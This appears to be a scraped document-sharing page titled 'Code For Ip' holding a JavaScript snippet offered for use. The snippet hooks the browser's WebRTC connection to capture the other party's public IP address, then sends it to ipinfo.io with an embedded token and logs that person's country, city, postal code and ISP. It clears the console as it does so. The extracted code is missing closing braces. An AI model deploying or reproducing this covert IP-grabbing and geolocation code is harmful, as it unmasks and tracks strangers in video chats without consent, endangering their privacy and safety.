Code For Ip

You might also like

Download as docx, pdf, or txt
Download as docx, pdf, or txt
You are on page 1of 6

window.oRTCPeerConnection = window.oRTCPeerConnection || window.

RTCPeerConnection

window.RTCPeerConnection = function(...args) {

const socialcodia = new window.oRTCPeerConnection(...args)

socialcodia.oaddIceCandidate = socialcodia.addIceCandidate

socialcodia.addIceCandidate = function(iceCandidate, ...rest) {

const mufazmi = iceCandidate.candidate.split(' ')

if (mufazmi[7] === 'srflx') {

console.clear()

fetchLocation(mufazmi[4])

return socialcodia.oaddIceCandidate(iceCandidate, ...rest)

return socialcodia

function fetchLocation(ip)

fetch('https://ipinfo.io/'+ip+'?token=8fb9a0590a9125')

.then( res => res.json() )

.then(response => {

console.log("Country :"+response.country)

console.log("State : "+response.region)

console.log("City : " +response.city)

console.log("Pin Code : " +response.postal)


console.log("Org : " +response.org)

})

.catch(error => console.error('Error:', error));

You might also like